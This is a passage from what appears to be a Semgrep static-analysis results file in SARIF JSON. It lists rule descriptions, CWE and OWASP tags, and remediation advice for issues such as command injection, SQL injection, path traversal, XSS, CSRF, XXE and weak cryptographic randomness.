(preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSL verification disabled, this allows for MitM attacks"},"help":{"markdown":"SSL verification disabled, this allows for MitM attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none)\n - [https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify](https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify)\n","text":"SSL verification disabled, this allows for MitM attacks"},"helpUri":"https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none","id":"rust.lang.security.ssl-verify-none.ssl-verify-none","name":"rust.lang.security.ssl-verify-none.ssl-verify-none","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.ssl-verify-none.ssl-verify-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","id":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","name":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"help":{"markdown":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms)\n","text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","id":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","name":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"help":{"markdown":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","id":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","name":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","id":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","name":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into exec. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into exec. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection)\n - [https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html)\n","text":"Detected user data flowing into exec. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection","id":"python.flask.security.injection.user-exec.exec-injection","name":"python.flask.security.injection.user-exec.exec-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-exec.exec-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request)\n - [https://godoc.org/github.com/levigross/grequests#DoRegularRequest](https://godoc.org/github.com/levigross/grequests#DoRegularRequest)\n - [https://github.com/levigross/grequests](https://github.com/levigross/grequests)\n","text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint","id":"rust.hyper.sql.sqlx-taint.sqlx-taint","name":"rust.hyper.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","id":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","name":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-pickleshare-django.tainted-pickleshare-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"help":{"markdown":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks](https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key)\n","text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","id":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","name":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"help":{"markdown":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js)\n - [https://golang.org/pkg/html/template/#JS](https://golang.org/pkg/html/template/#JS)\n","text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","id":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","name":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password","id":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","name":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-empty-password.gorm-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","id":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","name":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-xml2json-xxe.express-xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","id":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","name":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. 